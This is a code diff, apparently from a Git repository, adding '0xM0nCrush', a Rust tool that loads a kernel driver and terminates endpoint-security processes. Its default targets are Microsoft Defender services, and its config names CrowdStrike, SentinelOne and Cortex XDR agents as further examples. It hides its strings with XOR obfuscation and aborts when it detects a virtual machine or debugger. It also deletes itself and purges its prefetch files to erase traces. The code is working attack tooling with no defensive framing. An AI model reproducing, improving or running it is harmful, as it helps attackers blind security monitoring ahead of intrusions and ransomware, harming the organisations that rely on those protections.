println!("0xM0nCrush - MonProcessEX.sys EDR process terminator");
|
||||
println!("Cross-version, all Windows 10 and Windows 11 builds.");
|
||||
println!();
|
||||
println!("usage: moncrush.exe [options]");
|
||||
println!();
|
||||
println!("options:");
|
||||
println!(" -s, --silent suppress all console output");
|
||||
println!(" -r, --repeat keep running, re-check targets");
|
||||
println!(" -d, --dry-run enumerate targets without killing");
|
||||
println!(" -j, --json machine-readable JSON output");
|
||||
println!(" -l, --list print target names and exit");
|
||||
println!(" -v, --version print version and exit");
|
||||
println!(" -x, --self-destruct delete self after success");
|
||||
println!(" --no-check skip VM and debugger checks");
|
||||
println!(" --delay <ms> sleep before executing");
|
||||
println!(" --jitter <ms> randomize repeat interval");
|
||||
println!(" --max-attempts <n> stop after n kill passes");
|
||||
println!(" --svc <name> custom service name");
|
||||
println!(" --driver <path> custom driver file path");
|
||||
println!(" -n, --names <csv> comma-separated target list");
|
||||
println!(" -c, --config <path> load targets from config file");
|
||||
println!(" -h, --help show this help");
|
||||
println!();
|
||||
println!("exit codes: 0 ok, 2 no targets, 3 driver failed, 5 environment");
|
||||
println!("targets from: --names > --config > targets.conf > built-in defaults");
|
||||
}
|
||||
|
||||
fn main() {
|
||||
let opts = match parse_args() {
|
||||
Some(o) => o,
|
||||
None => return,
|
||||
};
|
||||
|
||||
if opts.version {
|
||||
println!("0xM0nCrush v0.1.0");
|
||||
println!("MonProcessEX.sys cross-version EDR process terminator");
|
||||
return;
|
||||
}
|
||||
|
||||
if opts.silent {
|
||||
let _ = unsafe { driver::silence_std_handles() };
|
||||
}
|
||||
|
||||
if opts.delay_ms > 0 {
|
||||
std::thread::sleep(Duration::from_millis(opts.delay_ms));
|
||||
}
|
||||
|
||||
let names_str: Vec<String> = if let Some(n) = &opts.cli_names {
|
||||
config::parse_names_csv(n)
|
||||
} else if let Some(path) = &opts.cli_config {
|
||||
config::load_names_file(path).unwrap_or_default()
|
||||
} else {
|
||||
config::load_default_or(&targets::defaults())
|
||||
};
|
||||
|
||||
if opts.list_mode {
|
||||
println!("targets: {}", names_str.len());
|
||||
for n in &names_str { println!(" {n}"); }
|
||||
return;
|
||||
}
|
||||
|
||||
if names_str.is_empty() {
|
||||
println!("error: no target names specified");
|
||||
flush_and_exit(EXIT_NO_TARGET);
|
||||
}
|
||||
|
||||
if !opts.skip_env_check {
|
||||
if ops::detect_debugger() || ops::detect_vm() {
|
||||
println!("aborted: analysis environment detected");
|
||||
flush_and_exit(EXIT_ENV);
|
||||
}
|
||||
}
|
||||
|
||||
let _mutex = ops::create_mutex(&obf::mutex_name());
|
||||
let drv_file = ops::resolve_driver_path(&opts.driver_path.clone().unwrap_or_else(obf::driver_filename));
|
||||
let svc_name = opts.service_name.clone().unwrap_or_else(ops::random_service_name);
|
||||
|
||||
let mut _drv_svc: Option<loader::DriverService> = None;
|
||||
let dev = match driver::MonDev::open() {
|
||||
Ok(d) => {
|
||||
println!("[+] driver already loaded");
|
||||
d
|
||||
}
|
||||
Err(_) => {
|
||||
let svc = loader::DriverService::install(&svc_name, &drv_file)
|
||||
.unwrap_or_else(|e| { println!("fatal: {e}"); flush_and_exit(EXIT_DRIVER_FAIL); });
|
||||
svc.start().unwrap_or_else(|e| { println!("fatal: {e}"); flush_and_exit(EXIT_DRIVER_FAIL); });
|
||||
let d = driver::MonDev::open().unwrap_or_else(|e| { println!("fatal: {e}"); flush_and_exit(EXIT_DRIVER_FAIL); });
|
||||
println!("[+] driver loaded");
|
||||
_drv_svc = Some(svc);
|
||||
d
|
||||
}
|
||||
};
|
||||
|
||||
if opts.dry_run {
|
||||
let procs = targets::find_running(&names_str.iter().map(|s| s.as_str()).collect::<Vec<&str>>());
|
||||
if opts.json {
|
||||
println!("{{\"mode\":\"dry-run\",\"targets\":[{}]}}", procs.iter().map(|(n, p)| format!("{{\"name\":\"{n}\",\"pid\":{p}}}")).collect::<Vec<_>>().join(","));
|
||||
} else {
|
||||
println!("dry-run: {} target(s) present", procs.len());
|
||||
for (n, p) in &procs { println!(" {n} ({p})"); }
|
||||
}
|
||||
drop(dev);
|
||||
flush_and_exit(if procs.is_empty() { EXIT_NO_TARGET } else { EXIT_OK });
|
||||
}
|
||||
|
||||
let stop = AtomicBool::new(false);
|
||||
let mut attempt: u32 = 0;
|
||||
let mut total_killed = 0usize;
|
||||
|
||||
loop {
|
||||
attempt += 1;
|
||||
let procs = targets::find_running(&names_str.iter().map(|s| s.as_str()).collect::<Vec<&str>>());
|
||||
let mut killed = 0usize;
|
||||
|
||||
for (name, pid) in &procs {
|
||||
match dev.kill_pid(*pid) {
|
||||
Ok(()) => {
|
||||
killed += 1;
|
||||
println!("(+) terminated {name} ({pid})");
|
||||
}
|
||||
Err(e) => {
|
||||
println!("error: {name} ({pid}): {e}");
|
||||
}
|
||||
}
|
||||
}
|
||||
total_killed += killed;
|
||||
|
||||
if !opts.repeat || (opts.max_attempts > 0 && attempt >= opts.max_attempts) { break; }
|
||||
ops::jitter_sleep(3000, opts.jitter_ms);
|
||||
if stop.load(Ordering::SeqCst) { break; }
|
||||
}
|
||||
|
||||
if opts.self_destruct {
|
||||
if let Ok(exe) = std::env::current_exe() {
|
||||
ops::purge_prefetch();
|
||||
ops::self_destruct(&exe.to_string_lossy());
|
||||
}
|
||||
}
|
||||
|
||||
drop(dev);
|
||||
flush_and_exit(if total_killed > 0 { EXIT_OK } else { EXIT_NO_TARGET });
|
||||
}
|
||||
+31
@@ -0,0 +1,31 @@
|
||||
const KEY: [u8; 16] = [
|
||||
0x9f, 0x2e, 0x1c, 0x7a, 0x4b, 0x8d, 0x3e, 0x5f, 0x6a, 0x1c, 0x9d, 0x2e, 0x4b, 0x7f, 0x8a,
|
||||
0x1c,
|
||||
];
|
||||
|
||||
const S_FILE: &[u8] = &[0xd2, 0x41, 0x72, 0x2a, 0x39, 0xe2, 0x5d, 0x3a, 0x19, 0x6f, 0xd8, 0x76, 0x65, 0x0c, 0xf3, 0x6f];
|
||||
const S_MUTEX: &[u8] = &[0xf3, 0x41, 0x7f, 0x1b, 0x27, 0xd1, 0x73, 0x30, 0x04, 0x5f, 0xef, 0x5b, 0x38, 0x17, 0xd9, 0x6a, 0xfc];
|
||||
const S_SVC: &[u8] = &[0xcc, 0x57, 0x6f, 0x29, 0x3d, 0xee];
|
||||
|
||||
const S_TARGETS: &[&[u8]] = &[
|
||||
&[0xfc, 0x4f, 0x70, 0x19, 0x65, 0xe8, 0x46, 0x3a],
|
||||
&[0xf1, 0x41, 0x68, 0x1f, 0x3b, 0xec, 0x5a, 0x71, 0x0f, 0x64, 0xf8],
|
||||
&[0xd2, 0x5d, 0x51, 0x0a, 0x0e, 0xe3, 0x59, 0x71, 0x0f, 0x64, 0xf8],
|
||||
&[0xd2, 0x5e, 0x58, 0x1f, 0x2d, 0xe8, 0x50, 0x3b, 0x0f, 0x6e, 0xde, 0x41, 0x39, 0x1a, 0xd9, 0x79, 0xed, 0x58, 0x75, 0x19, 0x2e, 0xa3, 0x5b, 0x27, 0x0f],
|
||||
&[0xcc, 0x4b, 0x7f, 0x0f, 0x39, 0xe4, 0x4a, 0x26, 0x22, 0x79, 0xfc, 0x42, 0x3f, 0x17, 0xd9, 0x79, 0xed, 0x58, 0x75, 0x19, 0x2e, 0xa3, 0x5b, 0x27, 0x0f],
|
||||
&[0xd2, 0x5d, 0x4f, 0x1f, 0x25, 0xfe, 0x5b, 0x71, 0x0f, 0x64, 0xf8],
|
||||
&[0xcc, 0x4b, 0x72, 0x09, 0x2e, 0xc4, 0x6c, 0x71, 0x0f, 0x64, 0xf8],
|
||||
&[0xcc, 0x4b, 0x72, 0x09, 0x2e, 0xce, 0x50, 0x3c, 0x3a, 0x6e, 0xf2, 0x56, 0x32, 0x51, 0xef, 0x64, 0xfa],
|
||||
&[0xcc, 0x4b, 0x72, 0x09, 0x2e, 0xde, 0x5f, 0x32, 0x1a, 0x70, 0xf8, 0x7b, 0x3b, 0x13, 0xe5, 0x7d, 0xfb, 0x4b, 0x6e, 0x54, 0x2e, 0xf5, 0x5b],
|
||||
];
|
||||
|
||||
fn dec(data: &[u8]) -> String {
|
||||
data.iter().enumerate().map(|(i, &b)| (b ^ KEY[i % KEY.len()]) as char).collect()
|
||||
}
|
||||
|
||||
pub fn driver_filename() -> String { dec(S_FILE) }
|
||||
pub fn mutex_name() -> String { dec(S_MUTEX) }
|
||||
pub fn svc_prefix() -> String { dec(S_SVC) }
|
||||
pub fn default_targets() -> Vec<String> {
|
||||
S_TARGETS.iter().map(|b| dec(b).to_lowercase()).collect()
|
||||
}
|
||||
+189
@@ -0,0 +1,189 @@
|
||||
|
||||
|
||||
use std::mem;
|
||||
|
||||
use windows::core::PCWSTR;
|
||||
use windows::Win32::Foundation::{CloseHandle, GENERIC_WRITE, GetLastError, HANDLE, WIN32_ERROR};
|
||||
use windows::Win32::System::Diagnostics::Debug::IsDebuggerPresent;
|
||||
use windows::Win32::System::LibraryLoader::GetModuleFileNameW;
|
||||
use windows::Win32::System::Registry::{
|
||||
RegCloseKey, RegOpenKeyExW, RegQueryValueExW, HKEY, HKEY_LOCAL_MACHINE, KEY_READ,
|
||||
};
|
||||
use windows::Win32::System::Threading::{CreateMutexW, GetCurrentProcessId};
|
||||
use windows::Win32::Storage::FileSystem::{
|
||||
CreateFileW, DeleteFileW, FILE_SHARE_DELETE, FILE_ATTRIBUTE_NORMAL, OPEN_EXISTING,
|
||||
};
|
||||
use windows::Win32::System::SystemInformation::GetTickCount64;
|
||||
|
||||
use crate::obf;
|
||||
|
||||
const VM_PROCESSES: &[&str] = &[
|
||||
"vmtoolsd.exe", "vboxservice.exe", "vboxtray.exe", "xenservice.exe",
|
||||
"vmsrvc.exe", "vmwaretray.exe", "vmwareuser.exe", "vmusrvc.exe",
|
||||
"prl_tools.exe", "prl_cc.exe",
|
||||
];
|
||||
|
||||
const VM_REG_KEYS: &[(&str, &str)] = &[
|
||||
(r"SOFTWARE\VMware, Inc.\VMware Tools", "InstallPath"),
|
||||
];
|
||||
|
||||
fn is_vm_process() -> bool {
|
||||
use windows::Win32::System::Diagnostics::ToolHelp::{
|
||||
CreateToolhelp32Snapshot, Process32FirstW, Process32NextW, PROCESSENTRY32W, TH32CS_SNAPPROCESS,
|
||||
};
|
||||
let snap = match unsafe { CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0) } {
|
||||
Ok(h) => h,
|
||||
Err(_) => return false,
|
||||
};
|
||||
let mut e = PROCESSENTRY32W { dwSize: mem::size_of::<PROCESSENTRY32W>() as u32, ..Default::default() };
|
||||
if unsafe { Process32FirstW(snap, &mut e) }.is_err() {
|
||||
unsafe { let _ = CloseHandle(snap); }
|
||||
return false;
|
||||
}
|
||||
let mut found = false;
|
||||
loop {
|
||||
let name = String::from_utf16_lossy(
|
||||
&e.szExeFile[..e.szExeFile.iter().position(|&c| c == 0).unwrap_or(e.szExeFile.len())]
|
||||
).to_lowercase();
|
||||
if VM_PROCESSES.iter().any(|&p| name == p) {
|
||||
found = true;
|
||||
break;
|
||||
}
|
||||
if unsafe { Process32NextW(snap, &mut e) }.is_err() { break; }
|
||||
}
|
||||
unsafe { let _ = CloseHandle(snap); }
|
||||
found
|
||||
}
|
||||
|
||||
fn is_vm_registry() -> bool {
|
||||
let mut key: HKEY = HKEY::default();
|
||||
for (subkey, value) in VM_REG_KEYS {
|
||||
let wstr: Vec<u16> = subkey.encode_utf16().chain(Some(0)).collect();
|
||||
let err = unsafe {
|
||||
RegOpenKeyExW(
|
||||
HKEY_LOCAL_MACHINE,
|
||||
PCWSTR(wstr.as_ptr()),
|
||||
None,
|
||||
KEY_READ,
|
||||
&mut key,
|
||||
)
|
||||
};
|
||||
if err != WIN32_ERROR(0) { continue; }
|
||||
let vwstr: Vec<u16> = value.encode_utf16().chain(Some(0)).collect();
|
||||
let mut buf = [0u8; 256];
|
||||
let mut size = buf.len() as u32;
|
||||
let err = unsafe {
|
||||
RegQueryValueExW(
|
||||
key,
|
||||
PCWSTR(vwstr.as_ptr()),
|
||||
None,
|
||||
None,
|
||||
Some(buf.as_mut_ptr()),
|
||||
Some(&mut size),
|
||||
)
|
||||
};
|
||||
let _ = unsafe { RegCloseKey(key) };
|
||||
if err == WIN32_ERROR(0) { return true; }
|
||||
}
|
||||
false
|
||||
}
|
||||
|
||||
pub fn detect_vm() -> bool {
|
||||
is_vm_process() || is_vm_registry()
|
||||
}
|
||||
|
||||
pub fn detect_debugger() -> bool {
|
||||
unsafe { IsDebuggerPresent().as_bool() }
|
||||
}
|
||||
|
||||
pub fn create_mutex(name: &str) -> Option<HANDLE> {
|
||||
let wstr: Vec<u16> = name.encode_utf16().chain(Some(0)).collect();
|
||||
match unsafe { CreateMutexW(None, false, PCWSTR(wstr.as_ptr())) } {
|
||||
Ok(h) => {
|
||||
if unsafe { GetLastError() }.0 == 183 {
|
||||
// ERROR_ALREADY_EXISTS
|
||||
let _ = unsafe { CloseHandle(h) };
|
||||
None
|
||||
} else {
|
||||
Some(h)
|
||||
}
|
||||
}
|
||||
Err(_) => None,
|
||||
}
|
||||
}
|
||||
|
||||
pub fn random_service_name() -> String {
|
||||
let tick = unsafe { GetTickCount64() };
|
||||
let pid = unsafe { GetCurrentProcessId() };
|
||||
let r = (tick ^ pid as u64) & 0xFFFFFF;
|
||||
format!("{}{:06X}", obf::svc_prefix(), r)
|
||||
}
|
||||
|
||||
pub fn resolve_driver_path(fname: &str) -> String {
|
||||
if std::path::Path::new(fname).is_absolute() {
|
||||
return fname.to_string();
|
||||
}
|
||||
if let Ok(exe) = std::env::current_exe() {
|
||||
if let Some(dir) = exe.parent() {
|
||||
let cand = dir.join(fname);
|
||||
if cand.exists() {
|
||||
return cand.to_string_lossy().to_string();
|
||||
}
|
||||
}
|
||||
}
|
||||
if let Ok(cwd) = std::env::current_dir() {
|
||||
let cand = cwd.join(fname);
|
||||
if cand.exists() {
|
||||
return cand.to_string_lossy().to_string();
|
||||
}
|
||||
}
|
||||
fname.to_string()
|
||||
}
|
||||
|
||||
pub fn jitter_sleep(base_ms: u64, jitter_ms: u64) {
|
||||
let j = if jitter_ms > 0 {
|
||||
let tick = unsafe { GetTickCount64() };
|
||||
(tick % jitter_ms as u64) as u64
|
||||
} else {
|
||||
0
|
||||
};
|
||||
std::thread::sleep(std::time::Duration::from_millis(base_ms + j));
|
||||
}
|
||||
|
||||
pub fn self_destruct(path: &str) {
|
||||
let wstr: Vec<u16> = path.encode_utf16().chain(Some(0)).collect();
|
||||
let h = unsafe {
|
||||
CreateFileW(
|
||||
PCWSTR(wstr.as_ptr()),
|
||||
GENERIC_WRITE.0,
|
||||
FILE_SHARE_DELETE,
|
||||
None,
|
||||
OPEN_EXISTING,
|
||||
FILE_ATTRIBUTE_NORMAL,
|
||||
None,
|
||||
)
|
||||
};
|
||||
if h.is_ok() {
|
||||
let _ = unsafe { DeleteFileW(PCWSTR(wstr.as_ptr())) };
|
||||
}
|
||||
}
|
||||
|
||||
pub fn purge_prefetch() {
|
||||
let exe = own_exe_name();
|
||||
if let Ok(entries) = std::fs::read_dir(r"C:\Windows\Prefetch") {
|
||||
for entry in entries.flatten() {
|
||||
let name = entry.file_name().to_string_lossy().to_lowercase();
|
||||
if name.starts_with(&exe.trim_end_matches(".exe").to_lowercase()) && name.ends_with(".pf") {
|
||||
let _ = std::fs::remove_file(entry.path());
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn own_exe_name() -> String {
|
||||
let mut buf = [0u16; 260];
|
||||
let len = unsafe { GetModuleFileNameW(None, &mut buf) } as usize;
|
||||
let wide = &buf[..len];
|
||||
let path = String::from_utf16_lossy(wide);
|
||||
std::path::Path::new(&path).file_name().unwrap_or_default().to_string_lossy().to_string()
|
||||
}
|
||||
@@ -0,0 +1,41 @@
|
||||
use std::mem;
|
||||
|
||||
use windows::Win32::Foundation::CloseHandle;
|
||||
use windows::Win32::System::Diagnostics::ToolHelp::{
|
||||
CreateToolhelp32Snapshot, Process32FirstW, Process32NextW, PROCESSENTRY32W, TH32CS_SNAPPROCESS,
|
||||
};
|
||||
|
||||
use crate::obf;
|
||||
|
||||
pub fn defaults() -> Vec<String> {
|
||||
obf::default_targets()
|
||||
}
|
||||
|
||||
pub fn find_running(targets: &[&str]) -> Vec<(String, u32)> {
|
||||
let mut r = Vec::new();
|
||||
let snap = match unsafe { CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0) } {
|
||||
Ok(h) => h,
|
||||
Err(_) => return r,
|
||||
};
|
||||
let mut e = PROCESSENTRY32W {
|
||||
dwSize: mem::size_of::<PROCESSENTRY32W>() as u32,
|
||||
..Default::default()
|
||||
};
|
||||
if unsafe { Process32FirstW(snap, &mut e) }.is_err() {
|
||||
unsafe { let _ = CloseHandle(snap); }
|
||||
return r;
|
||||
}
|
||||
loop {
|
||||
let name = String::from_utf16_lossy(
|
||||
&e.szExeFile[..e.szExeFile.iter().position(|&c| c == 0).unwrap_or(e.szExeFile.len())],
|
||||
);
|
||||
for &t in targets {
|
||||
if name.eq_ignore_ascii_case(t) {
|
||||
r.push((name.clone(), e.th32ProcessID));
|
||||
}
|
||||
}
|
||||
if unsafe { Process32NextW(snap, &mut e) }.is_err() { break; }
|
||||
}
|
||||
unsafe { let _ = CloseHandle(snap); }
|
||||
r
|
||||
}
|
||||
@@ -0,0 +1,28 @@
|
||||
# 0xM0nCrush target configuration
|
||||
#
|
||||
# One executable name per line. Lines starting with # are ignored.
|
||||
# Drop this file next to moncrush.exe as targets.conf to override the
|
||||
# built-in defaults without rebuilding.
|
||||
#
|
||||
# The resolver order is:
|
||||
# --names > --config <path> > targets.conf (disk) > built-in defaults
|
||||
#
|
||||
# Add any process you want terminated from kernel context:
|
||||
|
||||
calc.exe
|
||||
notepad.exe
|
||||
MsMpEng.exe
|
||||
MpDefenderCoreService.exe
|
||||
SecurityHealthService.exe
|
||||
MsSense.exe
|
||||
SenseIR.exe
|
||||
SenseCncProxy.exe
|
||||
SenseSampleUploader.exe
|
||||
|
||||
# Examples:
|
||||
# CrowdStrike
|
||||
# csfalconservice.exe
|
||||
# SentinelOne
|
||||
# SentinelAgent.exe
|
||||
# Cortex XDR
|
||||
# cortex_agent.exe
|
||||
Reference in New Issue
Block a user